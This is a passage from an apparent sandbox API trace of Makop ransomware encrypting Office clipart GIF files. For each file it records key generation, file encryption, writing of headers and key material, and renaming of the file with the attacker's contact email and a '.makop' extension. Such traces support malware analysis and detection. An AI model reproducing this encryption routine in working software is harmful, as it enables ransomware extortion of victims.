lpNewFilePointer=0x0) returned 1 [0105.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1490, lpOverlapped=0x0) returned 1 [0105.801] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.801] SetEndOfFile (hFile=0xf0) returned 1 [0105.808] GetProcessHeap () returned 0x48a0000 [0105.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.808] GetProcessHeap () returned 0x48a0000 [0105.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.810] CloseHandle (hObject=0xf0) returned 1 [0105.810] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0105.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0105.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.812] GetProcessHeap () returned 0x48a0000 [0105.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.812] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0105.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.817] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.817] GetProcessHeap () returned 0x48a0000 [0105.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.818] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.818] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.819] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa24, lpOverlapped=0x0) returned 1 [0105.819] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa30, dwBufLen=0xa30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa30) returned 1 [0105.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa30, lpOverlapped=0x0) returned 1 [0105.819] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.820] SetEndOfFile (hFile=0xf0) returned 1 [0105.826] GetProcessHeap () returned 0x48a0000 [0105.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.827] GetProcessHeap () returned 0x48a0000 [0105.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.827] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.829] CloseHandle (hObject=0xf0) returned 1 [0105.829] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0105.829] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0105.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.831] GetProcessHeap () returned 0x48a0000 [0105.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.831] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0105.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.836] GetProcessHeap () returned 0x48a0000 [0105.836] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.836] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.836] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.837] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.837] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.838] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.838] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.838] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x296f, lpOverlapped=0x0) returned 1 [0105.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2970, dwBufLen=0x2970 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2970) returned 1 [0105.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2970, lpOverlapped=0x0) returned 1 [0105.842] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.842] SetEndOfFile (hFile=0xf0) returned 1 [0105.852] GetProcessHeap () returned 0x48a0000 [0105.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.853] GetProcessHeap () returned 0x48a0000 [0105.853] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.853] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.854] CloseHandle (hObject=0xf0) returned 1 [0105.854] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0105.854] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0105.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.855] GetProcessHeap () returned 0x48a0000 [0105.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.855] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.862] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.862] GetProcessHeap () returned 0x48a0000 [0105.862] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.863] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.863] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.865] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.865] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3bcc, lpOverlapped=0x0) returned 1 [0105.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3bd0) returned 1 [0105.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3bd0, lpOverlapped=0x0) returned 1 [0105.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.867] SetEndOfFile (hFile=0xf0) returned 1 [0105.874] GetProcessHeap () returned 0x48a0000 [0105.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.874] GetProcessHeap () returned 0x48a0000 [0105.875] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.875] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0105.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.876] CloseHandle (hObject=0xf0) returned 1 [0105.876] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0105.876] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0105.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.877] GetProcessHeap () returned 0x48a0000 [0105.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.877] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0105.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0105.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.881] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.881] GetProcessHeap () returned 0x48a0000 [0105.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0105.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0105.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0105.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0105.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0105.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.883] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0105.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0105.883] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.883] 